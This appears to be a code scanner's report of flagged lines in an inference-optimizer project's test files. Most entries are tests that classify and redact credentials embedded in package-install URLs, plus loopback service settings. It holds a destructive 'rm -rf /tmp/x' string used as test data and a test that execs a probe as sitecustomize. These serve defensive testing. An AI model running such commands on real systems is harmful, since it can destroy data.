def test_credential_classes_over_the_admitted_grammar(): assert classify_credential_class("pip install --index-url https://user:token@host/simple foo") == "index_url" - Network accessline 820
assert classify_credential_class("pip install --index-url https://user:token@host/simple foo") == "index_url" - Network accessline 821
assert classify_credential_class("pip install git+https://user:token@host/repo@main") == "vcs_url" - Network accessline 822
assert classify_credential_class("pip install --find-links https://u:t@h/links foo") == "find_links" - Network accessline 823
assert classify_credential_class("conda install -c https://u:t@h/chan foo") == "channel" - Network accessline 824
assert classify_credential_class("npm install --registry https://u:t@h/ foo") == "registry" - Network accessline 826
assert classify_credential_class("npm install --_authToken t0ken foo") == "registry" assert classify_credential_class("apt-get install -y https://u:t@h/foo.deb") == "apt_source" - Network accessline 827
assert classify_credential_class("apt-get install -y https://u:t@h/foo.deb") == "apt_source" - Network accessline 832
("command", "credential_class"), [ ("pip install -ihttps://user:token@host/simple foo", "index_url"), - Network accessline 833
[ ("pip install -ihttps://user:token@host/simple foo", "index_url"), ("pip install -fhttps://user:token@host/links foo", "find_links"), - Network accessline 834
("pip install -ihttps://user:token@host/simple foo", "index_url"), - Network accessline 835
("pip install -fhttps://user:token@host/links foo", "find_links"), - Network accessline 836
("conda install -chttps://user:token@host/channel foo", "channel"), - Network accessline 837
("pip install -ihttps://user:token@host/simple?k=v foo", "index_url"), - Network accessline 838
("conda install -chttps://user:token@host/channel?k=v foo", "channel"), - Dangerous shell operationline 851
("rm -rf /tmp/x", "rm -rf /tmp/x"), - Network accessline 854
"pip install -rrequirements.txt -c constraints.txt foo", ), ("pip install -ihttps://user:token@host/simple foo", "pip install -i<index_url> foo"), - Network accessline 855
), ("pip install -ihttps://user:token@host/simple foo", "pip install -i<index_url> foo"), ("pip install -ihttps://user:token@host/simple?k=v foo", "pip install -i<index_url> foo"), - Network accessline 856
("pip install -ihttps://user:token@host/simple foo", "pip install -i<index_url> foo"), - Network accessline 857
("pip install -ihttps://user:token@host/simple?k=v foo", "pip install -i<index_url> foo"), - Network accessline 858
("pip install -i=https://user:token@host/simple?k=v foo", "pip install -i=<index_url> foo"), - Network accessline 859
("pip install --index-url=https://user:token@host/simple foo", "pip install --index-url=<index_url> foo"), - Network accessline 860
("pip install --index-url https://user:token@host/simple foo", "pip install --index-url <index_url> foo"), - Network accessline 869
cmd = "PIP_INDEX_URL=https://user:token@host/simple pip install foo" - Network accessline 884
def test_an_unparseable_command_still_redacts_a_credentialed_url(): sanitized = sanitize_command_text('pip install --index-url https://user:token@private.example/simple "unclosed') - Network accessline 885
sanitized = sanitize_command_text('pip install --index-url https://user:token@private.example/simple "unclosed') - Network accessline 893
("url", "userinfo", "stripped"), [ ("https://user:token@host]/simple", "user:token", "https://host]/simple"), - Network accessline 894
[ ("https://user:token@host]/simple", "user:token", "https://host]/simple"), ("https://user:token@[host/simple", "user:token", "https://[host/simple"), - Network accessline 895
("https://user:token@host]/simple", "user:token", "https://host]/simple"), - Network accessline 896
("https://user:token@[host/simple", "user:token", "https://[host/simple"), - Network accessline 897
("https://user:token@[::1/simple", "user:token", "https://[::1/simple"), - Network accessline 898
("git+https://user:token@host]/repo@main", "user:token", "git+https://host]/repo@main"), - Network accessline 899
("https://user:tok@en@host]/simple?q=a@b#c@d", "user:tok@en", "https://host]/simple?q=a@b#c@d"), - Network accessline 909
("url", "stripped"), [ ("pkg@https://user:tok@host/x.whl", "pkg@https://host/x.whl"), - Network accessline 910
[ ("pkg@https://user:tok@host/x.whl", "pkg@https://host/x.whl"), ("mypkg @ https://user:tok@host/x.whl", "mypkg @ https://host/x.whl"), - Network accessline 911
("pkg@https://user:tok@host/x.whl", "pkg@https://host/x.whl"), - Network accessline 912
("mypkg @ https://user:tok@host/x.whl", "mypkg @ https://host/x.whl"), - Network accessline 921
@pytest.mark.parametrize("host", ["host]", "[host", "[::1"]) def test_malformed_credentialed_index_is_sanitized_and_blocks_replay(host): cmd = PINNED_INSTALL.replace("pip install", f"pip install --index-url https://user:token@{host}/sim - Network accessline 922
def test_malformed_credentialed_index_is_sanitized_and_blocks_replay(host): cmd = PINNED_INSTALL.replace("pip install", f"pip install --index-url https://user:token@{host}/simple", 1) row = _row(cmd) - Network accessline 923
cmd = PINNED_INSTALL.replace("pip install", f"pip install --index-url https://user:token@{host}/simple", 1) - Network accessline 934
def test_a_bare_credentialed_url_is_not_borrowed_from_the_index_flag(): assert classify_credential_value("https://u:t@h/r") == "opaque_credential" - Network accessline 935
assert classify_credential_value("https://u:t@h/r") == "opaque_credential" - Network accessline 936
assert classify_credential_value("git+https://u:t@h/r") == "vcs_url" - Network accessline 937
assert classify_credential_value("https://u:t@h/simple", option="--index-url") == "index_url" - Network accessline 938
assert classify_credential_value("https://h/r") is None - Network accessline 941
def test_credential_class_records_no_userinfo_host_or_operand(): found = classify_credential_class("pip install --index-url https://user:token@host/simple foo") - Network accessline 942
found = classify_credential_class("pip install --index-url https://user:token@host/simple foo") - Network accessline 946
def test_ambient_channels_are_names_only_and_block_replay(): channels = detect_credential_channels({"PIP_INDEX_URL": "https://secret.host/simple"}, fs_root=NO_FS) - Network accessline 947
channels = detect_credential_channels({"PIP_INDEX_URL": "https://secret.host/simple"}, fs_root=NO_FS) - Network accessline 948
assert channels == ["pip_index_env"] row = _row("pip install foo", env={"PIP_INDEX_URL": "https://secret.host/simple"}) assert row["credential_class"] is None - Network accessline 949
row = _row("pip install foo", env={"PIP_INDEX_URL": "https://secret.host/simple"}) - Network accessline 1201
PINNED_INSTALL = f"pip install git+https://host/repo@{'a' * 40}" - Network accessline 1254
CREDENTIALED_INSTALL = f"pip install git+https://user:token@host/repo@{'a' * 40}" - Network accessline 1593
def test_build_inputs_reach_the_emitted_step_stripped_of_credential_material(): row = _attempt("bA") row["build_inputs"]["repo_url"] = "https://user:token@github.com/org/repo" - Network accessline 1594
row = _attempt("bA") row["build_inputs"]["repo_url"] = "https://user:token@github.com/org/repo" state = _build_state([row, {"task_id": "bA", "probe_task_id": "probe"}]) - Network accessline 1595
row["build_inputs"]["repo_url"] = "https://user:token@github.com/org/repo" - Network accessline 1597
steps = build_recipe_steps(state) inputs = steps[0]["build_inputs"] assert inputs["repo_url"] == "https://github.com/org/repo" - Network accessline 1598
inputs = steps[0]["build_inputs"] assert inputs["repo_url"] == "https://github.com/org/repo" assert inputs["resolved_sha"] == "s" * 40 - Network accessline 1599
assert inputs["repo_url"] == "https://github.com/org/repo" - Network accessline 1627
"kept_stack_action": { "acquisition_method": "editable_ref", "repo_url": "https://h/r", - Network accessline 1628
"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main", - Network accessline 1629
"repo_url": "https://h/r",
src/hyperloom/inference_optimizer/tests/test_enablement_revalidation_anchor.py
src/hyperloom/inference_optimizer/tests/test_env_safety.py
- Executable scriptline 1
Executable file - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_environment_fault_round.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_eval_bounds_arm_symmetry.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_eval_concurrency_preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_eval_context_feasibility.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_eval_probe.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 115
exec(compile(_EVAL_PROBE_PY, "<probe>", "exec"), {"__name__": "sitecustomize"}) - Dangerous shell operationline 239
exec(compile(_EVAL_PROBE_PY, "<probe>", "exec"), {"__name__": "sitecustomize"}) - Dangerous shell operationline 252
exec(compile(_EVAL_PROBE_PY, "<probe>", "exec"), {"__name__": "sitecustomize"})
src/hyperloom/inference_optimizer/tests/test_eval_result_dir_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_eval_unbound_outputs_guard.py
src/hyperloom/inference_optimizer/tests/test_exit_code_stop_reason.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_expected_failure_boundaries_unit.py
- Executable scriptline 1
Executable file - Network accessline 164
[Credential-related source omitted] - Network accessline 165
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Network accessline 170
@pytest.mark.parametrize( "failure", [httpx.ConnectError("refused"), httpx.ReadTimeout("slow"), httpx.InvalidURL("bad url")], - Network accessline 171
"failure", [httpx.ConnectError("refused"), httpx.ReadTimeout("slow"), httpx.InvalidURL("bad url")], ) - Network accessline 172
[httpx.ConnectError("refused"), httpx.ReadTimeout("slow"), httpx.InvalidURL("bad url")],
src/hyperloom/inference_optimizer/tests/test_experience_collect.py
- Executable scriptline 1
Executable file - Access to secretsline 76
[Credential-related source omitted] - Network accessline 116
monkeypatch.setattr(experience_collect, "collect", collect) monkeypatch.setattr(experience_collect, "experience_kb_from_env", lambda **_kwargs: target) monkeypatch.setenv("HYPERLOOM_KB_URL", "http://kb.invalid") - Network accessline 117
monkeypatch.setattr(experience_collect, "experience_kb_from_env", lambda **_kwargs: target) monkeypatch.setenv("HYPERLOOM_KB_URL", "http://kb.invalid") for key in ("HYPERLOOM_KB_AUTO_PUSH", "HYPERLOOM_GLOBAL_KB_URL", "HYPERLOOM_GLOB - Network accessline 118
monkeypatch.setenv("HYPERLOOM_KB_URL", "http://kb.invalid") - Network accessline 208
_configured_kb(monkeypatch, collect=_unexpected_collect) monkeypatch.setenv("HYPERLOOM_KB_AUTO_PUSH", "1") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "http://global.invalid") - Network accessline 209
monkeypatch.setenv("HYPERLOOM_KB_AUTO_PUSH", "1") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "http://global.invalid") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_TOKEN", "global-token") - Network accessline 210
monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "http://global.invalid") - Network accessline 224
patch.parent.mkdir() patch.write_text("diff --git a/vllm/attention.py b/vllm/attention.py\n+optimized = True\n") coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 225
patch.write_text("diff --git a/vllm/attention.py b/vllm/attention.py\n+optimized = True\n") coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} coord.phase_framework._record_framework_agent_a - Network accessline 226
coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 232
"framework_agent_authoring": True, "specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", - Network accessline 233
"specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", "audit_step": "author_via_specialist", - Network accessline 234
"framework_agent_candidate_id": "https://x/pr/1", - Network accessline 345
monkeypatch, session_dir: Path, tmp_path: Path ) -> None: with socket.socket() as probe: - Network accessline 346
) -> None: with socket.socket() as probe: probe.bind(("127.0.0.1", 0)) - Network accessline 347
with socket.socket() as probe: - Network accessline 348
probe.bind(("127.0.0.1", 0)) closed_port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{closed_port}") - Network accessline 349
closed_port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{closed_port}") monkeypatch.setenv("HYPERLOOM_KB_TOKEN", "workspace-token") - Network accessline 350
monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{closed_port}") - Network accessline 363
monkeypatch, session_dir: Path, tmp_path: Path ) -> None: with socket.socket() as probe: - Network accessline 364
) -> None: with socket.socket() as probe: probe.bind(("127.0.0.1", 0)) - Network accessline 365
with socket.socket() as probe: - Network accessline 366
probe.bind(("127.0.0.1", 0)) port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") - Network accessline 367
port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") monkeypatch.setenv("HYPERLOOM_KB_TOKEN", "workspace-token") - Network accessline 368
monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") - Access to secretsline 371
[Credential-related source omitted] - Network accessline 399
def _workspace(monkeypatch, root: Path) -> None: with socket.socket() as probe: - Network accessline 400
with socket.socket() as probe: - Network accessline 401
probe.bind(("127.0.0.1", 0)) port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") - Network accessline 402
port = probe.getsockname()[1] monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") monkeypatch.setenv("HYPERLOOM_KB_TOKEN", f"{root.name}-token") - Network accessline 403
monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{port}") - Access to secretsline 417
[Credential-related source omitted] - Network accessline 425
thread.start() try: monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", f"http://127.0.0.1:{server.server_address[1]}") - Network accessline 426
try: monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", f"http://127.0.0.1:{server.server_address[1]}") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_TOKEN", "global-token") - Network accessline 427
monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", f"http://127.0.0.1:{server.server_address[1]}") - Network accessline 553
"proposal_set": [ { "pr_url": "https://x/pr/7", - Network accessline 554
{ "pr_url": "https://x/pr/7", "title": "Route MoE through the fused kernel", - Network accessline 555
"pr_url": "https://x/pr/7", - Network accessline 566
params={ "framework_agent_authoring": True, "framework_agent_candidate_id": "https://x/pr/7", - Network accessline 567
"framework_agent_authoring": True, "framework_agent_candidate_id": "https://x/pr/7", "domain": "serving_specialist", - Network accessline 568
"framework_agent_candidate_id": "https://x/pr/7",
src/hyperloom/inference_optimizer/tests/test_experience_kb_integration.py
- Executable scriptline 1
Executable file - Network accessline 6
import asyncio import http.client - Network accessline 7
import http.client - Network accessline 158
def opener(request, timeout): requests.append(request) - Network accessline 159
requests.append(request) - Network accessline 162
[Credential-related source omitted] - Network accessline 167
[request] = requests assert request.full_url == "https://kb.example/v1/read" - Network accessline 168
assert request.full_url == "https://kb.example/v1/read" - Network accessline 209
def test_bootstrap_uses_only_service_url_and_token(tmp_path) -> None: assert ExperienceKBIntegration.from_env({}) is None assert ExperienceKBIntegration.from_env({"HYPERLOOM_KB_URL": "https://kb.example"}) is None - Network accessline 211
assert ExperienceKBIntegration.from_env({"HYPERLOOM_KB_URL": "https://kb.example"}) is None - Network accessline 213
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Network accessline 216
assert integration is not None assert isinstance(integration.client, RemoteClient) assert integration.client.config.base_url == "https://kb.example" - Network accessline 217
[Credential-related source omitted] - Network accessline 218
assert integration.client.config.base_url == "https://kb.example" - Network accessline 446
def test_a_service_that_drops_mid_response_never_stops_a_turn_or_a_dispatch(tmp_path) -> None: def cut_off(*_args, **_kwargs): raise http.client.IncompleteRead(b"{", 100) - Network accessline 448
raise http.client.IncompleteRead(b"{", 100) - Network accessline 450
client = RemoteClient(RemoteConfig("http://127.0.0.1:9", "service-token"), opener=cut_off) - Network accessline 480
def test_an_agentx_run_reads_no_experience_since_none_of_its_own_is_published(tmp_path, monkeypatch) -> None: monkeypatch.delenv("HYPERLOOM_AGENTX", raising=False) monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") - Network accessline 481
monkeypatch.delenv("HYPERLOOM_AGENTX", raising=False) monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") monkeypatch.setenv("HYPERLOOM_KB_TOKEN", "service-token") - Network accessline 482
monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") - Network accessline 501
def test_only_a_run_graded_on_throughput_reads_throughput_experiences(tmp_path, monkeypatch) -> None: monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") - Network accessline 502
monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example")
src/hyperloom/inference_optimizer/tests/test_experience_kb_service.py
- Executable scriptline 1
Executable file - Network accessline 31
def _free_port() -> int: with socket.socket() as probe: - Network accessline 32
with socket.socket() as probe: - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Network accessline 76
ports = {int(url.rsplit(":", 1)[1]) for url in urls.values()} assert all(url.startswith("http://127.0.0.1:") for url in urls.values()) - Network accessline 77
assert all(url.startswith("http://127.0.0.1:") for url in urls.values()) - Network accessline 81
port = int(urls[first].rsplit(":", 1)[1]) with socket.socket() as taken: - Network accessline 82
with socket.socket() as taken: - Network accessline 88
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 89
env_file.write_text( "# HYPERLOOM_KB_URL=http://commented.example\n" 'export HYPERLOOM_KB_URL="http://127.0.0.1:9901"\n' - Network accessline 90
"# HYPERLOOM_KB_URL=http://commented.example\n" - Network accessline 91
'export HYPERLOOM_KB_URL="http://127.0.0.1:9901"\n' - Network accessline 99
lines = env_file.read_text(encoding="utf-8").splitlines() assert lines[:2] == [ "# HYPERLOOM_KB_URL=http://commented.example", - Network accessline 100
assert lines[:2] == [ "# HYPERLOOM_KB_URL=http://commented.example", 'export HYPERLOOM_KB_URL="http://127.0.0.1:9901"', - Network accessline 101
"# HYPERLOOM_KB_URL=http://commented.example", - Network accessline 102
'export HYPERLOOM_KB_URL="http://127.0.0.1:9901"', - Access to secretsline 107
[Credential-related source omitted] - Network accessline 126
def test_only_a_loopback_url_is_a_service_this_workspace_runs(monkeypatch, started) -> None: assert experience_kb_service.ensure_service() is None monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") - Network accessline 127
assert experience_kb_service.ensure_service() is None monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") assert experience_kb_service.ensure_service() is None - Network accessline 128
monkeypatch.setenv("HYPERLOOM_KB_URL", "https://kb.example") - Network accessline 133
def test_the_service_keeps_its_data_under_user_data_path(monkeypatch, tmp_path: Path, started) -> None: monkeypatch.setenv("USER_DATA_PATH", str(tmp_path)) monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 135
monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 146
def test_ensure_reports_a_service_that_cannot_serve(monkeypatch, capsys) -> None: def refuse(*_args: Any, **_kwargs: Any) -> Any: raise LocalServiceError("http://127.0.0.1:8787 is listening but did not answer as this Experience - Network accessline 148
raise LocalServiceError("http://127.0.0.1:8787 is listening but did not answer as this Experience service") - Network accessline 150
monkeypatch.setattr(experience_kb_service, "ensure_local_service", refuse) monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 151
monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 164
monkeypatch.setattr(experience_kb_service, "ensure_local_service", restart) monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 165
monkeypatch.setenv("HYPERLOOM_KB_URL", "http://127.0.0.1:8787") - Network accessline 168
assert experience_kb_service.main(["ensure"]) == 0 assert "Experience KB service restarted at http://127.0.0.1:8787: 14 Experiences" in capsys.readouterr().out - Network accessline 169
assert "Experience KB service restarted at http://127.0.0.1:8787: 14 Experiences" in capsys.readouterr().out - Network accessline 188
def test_a_launch_continues_when_the_workspace_names_a_service_without_its_token(monkeypatch, caplog) -> None: monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{_free_port()}") - Network accessline 189
monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{_free_port()}") - Network accessline 199
def test_a_launch_continues_when_the_packaged_mapping_cannot_load(monkeypatch, caplog) -> None: monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{_free_port()}") - Network accessline 200
monkeypatch.setenv("HYPERLOOM_KB_URL", f"http://127.0.0.1:{_free_port()}") - Network accessline 212
return { "status": "completed", "global_url": "https://global.example", - Network accessline 213
"status": "completed", "global_url": "https://global.example", "created": 2, - Network accessline 214
"global_url": "https://global.example", - Network accessline 224
def _opt_into_auto_push(monkeypatch) -> None: monkeypatch.setenv("HYPERLOOM_KB_AUTO_PUSH", "1") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "https://global.example") - Network accessline 225
monkeypatch.setenv("HYPERLOOM_KB_AUTO_PUSH", "1") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "https://global.example") monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_TOKEN", "global-token") - Network accessline 226
monkeypatch.setenv("HYPERLOOM_GLOBAL_KB_URL", "https://global.example") - Network accessline 239
with caplog.at_level(logging.INFO): experience_kb_service.auto_push() assert "push with https://global.example: 2 created, 0 unchanged, 0 skipped, 1 held_back, 0 rejected" in caplog.text - Network accessline 241
assert "push with https://global.example: 2 created, 0 unchanged, 0 skipped, 1 held_back, 0 rejected" in caplog.text - Network accessline 274
def test_setup_then_launch_start_one_service_for_the_workspace(monkeypatch, tmp_path: Path, capsys) -> None: env_file = tmp_path / ".env" env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding="utf-8") - Network accessline 275
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Network accessline 276
env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding="utf-8") - Access to secretsline 281
[Credential-related source omitted] - Network accessline 295
def test_a_push_never_stops_the_service_a_run_may_be_reading_from(monkeypatch, tmp_path: Path, caplog, capsys) -> None: env_file = tmp_path / ".env" env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding - Network accessline 296
[Credential-related source omitted] - Access to secretsline 296
[Credential-related source omitted] - Network accessline 297
env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding="utf-8") - Access to secretsline 302
[Credential-related source omitted] - Network accessline 306
assert launched is not None and launched.process is not None try: monkeypatch.setenv(GLOBAL_URL_ENV, "https://global.example") - Network accessline 307
try: monkeypatch.setenv(GLOBAL_URL_ENV, "https://global.example") monkeypatch.setenv(GLOBAL_TOKEN_ENV, "global-token") - Network accessline 308
monkeypatch.setenv(GLOBAL_URL_ENV, "https://global.example") - Network accessline 329
) -> None: env_file = tmp_path / ".env" env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding="utf-8") - Network accessline 330
[Credential-related source omitted] - Access to secretsline 330
[Credential-related source omitted] - Network accessline 331
env_file.write_text(f"HYPERLOOM_KB_URL=http://127.0.0.1:{_free_port()}\n", encoding="utf-8") - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 373
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_explore_executor.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_grid_admission.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_grid_limits.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_projection.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_reuse.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_round_visibility.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_explore_screen.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_external_multi_node.py
- Executable scriptline 1
Executable file - Network accessline 29
monkeypatch.delenv("SAFE_API_URL", raising=False) monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 30
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 45
state = ext.build_external_state_from_env() assert state["external"] is True assert state["service_url"] == "http://frontend:8000" - Network accessline 46
assert state["external"] is True assert state["service_url"] == "http://frontend:8000" assert state["backend"] == "infera" - Network accessline 47
assert state["service_url"] == "http://frontend:8000" - Network accessline 156
monkeypatch: pytest.MonkeyPatch, ) -> None: assert ext.load_multi_node_state()["service_url"] == "http://frontend:8000" - Network accessline 158
assert ext.load_multi_node_state()["service_url"] == "http://frontend:8000" - Network accessline 170
{ "backend": "infera", "service_url": "http://old-safe:8000", - Network accessline 171
"backend": "infera", "service_url": "http://old-safe:8000", "prefill_pod_ips": ["10.9.9.9"], - Network accessline 172
"service_url": "http://old-safe:8000", - Network accessline 178
) loaded = ext.load_multi_node_state() assert loaded["service_url"] == "http://frontend:8000" - Network accessline 179
loaded = ext.load_multi_node_state() assert loaded["service_url"] == "http://frontend:8000" assert loaded["prefill_pod_ips"] == ["10.0.1.1"] - Network accessline 180
assert loaded["service_url"] == "http://frontend:8000" - Network accessline 190
monkeypatch.setenv("SAFE_API_URL", "http://safe") - Access to secretsline 191
[Credential-related source omitted] - Network accessline 193
state_path.parent.mkdir(parents=True, exist_ok=True) state_path.write_text( json.dumps({"backend": "infera", "service_url": "http://stale-cluster:8000"}), - Network accessline 194
state_path.write_text( json.dumps({"backend": "infera", "service_url": "http://stale-cluster:8000"}), encoding="utf-8", - Network accessline 195
json.dumps({"backend": "infera", "service_url": "http://stale-cluster:8000"}), - Network accessline 197
) loaded = ext.load_multi_node_state() assert loaded["service_url"] == "http://frontend:8000" - Network accessline 198
loaded = ext.load_multi_node_state() assert loaded["service_url"] == "http://frontend:8000" assert loaded["prefill_pod_ips"] == ["10.0.1.1"] - Network accessline 199
assert loaded["service_url"] == "http://frontend:8000" - Network accessline 209
monkeypatch.setenv("SAFE_API_URL", "http://safe") - Network accessline 210
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Network accessline 211
assert ext.external_service_url() == "http://frontend:8000" - Network accessline 231
assert saved["external"] is True assert saved["prefill_pod_ips"] == ["10.0.1.1"] assert os.environ["BENCHMARK_BASE_URL"] == "http://frontend:8000" - Network accessline 232
assert saved["prefill_pod_ips"] == ["10.0.1.1"] assert os.environ["BENCHMARK_BASE_URL"] == "http://frontend:8000" assert os.environ["MAGPIE_RUN_PHASE"] == "client" - Network accessline 233
[Credential-related source omitted] - Access to secretsline 233
[Credential-related source omitted] - Access to secretsline 234
[Credential-related source omitted] - Network accessline 310
( {"service_url": "http://wid.ns.svc.cluster.local:8000", "head_pod_ip": "10.0.2.1"}, - Network accessline 311
{"service_url": "http://wid.ns.svc.cluster.local:8000", "head_pod_ip": "10.0.2.1"}, - Network accessline 312
"http://10.0.2.1:8000", - Network accessline 315
( {"service_url": "http://wid.ns.svc.cluster.local", "head_pod_ip": "10.0.2.1"}, - Network accessline 316
{"service_url": "http://wid.ns.svc.cluster.local", "head_pod_ip": "10.0.2.1"}, - Network accessline 317
"http://10.0.2.1:8888", - Network accessline 320
({"service_url": "http://wid.ns.svc.cluster.local:8000"}, "http://wid.ns.svc.cluster.local:8000"), - Network accessline 322
({"service_url": "http://10.0.9.9:8000", "head_pod_ip": "10.0.2.1"}, "http://10.0.9.9:8000"), - Network accessline 339
"external": True, "backend": "infera", "service_url": "http://frontend:8000", - Network accessline 340
"backend": "infera", "service_url": "http://frontend:8000", "prefill_pod_ips": ["10.0.1.1"], - Network accessline 341
"service_url": "http://frontend:8000", - Network accessline 365
_write_disk_state( pd_prefill_url="http://10.32.17.187:30000", - Network accessline 366
pd_prefill_url="http://10.32.17.187:30000", - Network accessline 367
pd_decode_url="http://10.32.17.185:30001", - Network accessline 372
assert state["pd_prefill_url"] == "http://10.32.17.187:30000" - Network accessline 373
assert state["pd_decode_url"] == "http://10.32.17.185:30001" - Network accessline 378
_write_disk_state( service_url="http://other-frontend:8000", - Network accessline 379
service_url="http://other-frontend:8000", - Network accessline 380
pd_prefill_url="http://10.9.9.1:30000", - Network accessline 381
pd_decode_url="http://10.9.9.2:30001", - Network accessline 391
("field", "value"), [ ("service_url", "http://other-frontend:8000"), - Network accessline 392
[ ("service_url", "http://other-frontend:8000"), ("prefill_pod_ips", ["10.9.9.1"]), - Network accessline 393
("service_url", "http://other-frontend:8000"), - Network accessline 412
assert state["service_url"] == "http://frontend:8000" - Network accessline 635
_AGGREGATED_STATE = {"service_url": "http://frontend:8000"} - Network accessline 636
_PD_STATE = { "service_url": "http://frontend:8000", "pd_prefill_url": "http://10.0.1.1:30000", - Network accessline 637
"service_url": "http://frontend:8000", - Network accessline 638
"pd_prefill_url": "http://10.0.1.1:30000", - Network accessline 639
"pd_decode_url": "http://10.0.1.2:30001", - Network accessline 753
@pytest.mark.parametrize("failure", [httpx.ConnectError("connection refused"), ValueError("not json")]) - Network accessline 813
